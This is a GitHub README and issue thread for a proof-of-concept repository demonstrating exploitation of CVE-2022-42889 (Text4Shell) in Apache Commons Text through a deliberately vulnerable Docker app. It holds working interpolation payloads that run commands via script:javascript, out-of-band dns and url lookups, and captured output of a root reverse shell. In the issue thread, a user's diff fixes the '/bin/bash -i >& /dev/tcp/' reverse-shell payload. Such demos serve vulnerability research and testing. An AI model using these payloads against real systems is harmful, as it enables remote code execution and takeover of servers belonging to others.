korteke / cve-2022-42889-poc

A simple application that shows how to exploit the CVE-2022-42889 vulnerability

CVE-2022-42889-POC

A simple demo application that shows how to exploit the CVE-2022-42889 vulnerability.
Utilizes OOB (Out of Band) services to demonstrate dns and url prefixes.

JavaDocs for commons-text interpolation commons-text JavaDocs

Example interpolations

• script:javascript ("${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/blop')}")
• dns ("${dns:address|HOST}")
• url ("${url:UTF-8:http://HOST")

Quote from Rapid7

The vulnerability has been compared to Log4Shell since it is an open-source library-level vulnerability that is likely to impact a wide variety of software applications that use the relevant object.
However, initial analysis indicates that this is a bad comparison. The nature of the vulnerability means that unlike Log4Shell, it will be rare that an application uses the vulnerable component of Commons Text to process untrusted, potentially malicious input.

Prerequisites

• docker
• java
• maven

Java and maven can be skipped if one fetch image from Docker Hub

Usage

Build application

mvn clean package

Build docker image

docker build -t cve-2022-42889-poc .

Run docker image

docker run --rm -p 8081:8081 -t cve-2022-42889-poc

Access application and follow instructions

open http://localhost:8081

Check that the vulnerability creates a new file in the /tmp/ directory (/tmp/blop)

➜  ~ docker exec -ti cve-2022-42889-poc /bin/ls /tmp

blop		 tomcat-docbase.8081.12439436974042217796
hsperfdata_root  tomcat.8081.2549096106233509364
➜  ~

Reverse shell. Launch "nc" on your local machine

➜  ~ nc -lv 4242
root@7cfcd6a39a61:/# whoami && uname -a
whoami && uname -a
root
Linux 7cfcd6a39a61 5.10.76-linuxkit #1 SMP Mon Nov 8 10:21:19 UTC 2021 x86_64 GNU/Linux
root@7cfcd6a39a61:/#

UI

Network interaction proof. Tested with local interactsh-client.

More information

• NIST NVD
• Rapid 7

cve-2022-42889-poc's Issues

Reverse shell doesn't work

Love this simple and excellent demo. However, the reverse shell part doesn't work.
To get it to work, I had to change the code to:

diff --git a/src/main/java/net/kvak/text4shell/controller/ExploitController.java b/src/main/java/net/kvak/text4shell/controller/ExploitController.java
index c5d676f..aa89fb1 100644
--- a/src/main/java/net/kvak/text4shell/controller/ExploitController.java
+++ b/src/main/java/net/kvak/text4shell/controller/ExploitController.java
@@ -34,9 +34,9 @@ public class ExploitController {
sb.append("}");
break;
case 4:

•            sb.append("${script:javascript:java.lang.Runtime.getRuntime().exec('/bin/bash -c \"/bin/bash -i >& /dev/tcp/");
  

•            sb.append("${script:javascript:java.lang.Runtime.getRuntime().exec(['/bin/bash', '-c', '/bin/bash -i >& /dev/tcp/");
             sb.append(remoteHost + "/" + remotePort);
  

•            sb.append(" <&1\"')}");
  

•            sb.append(" <&1'])}");
             break;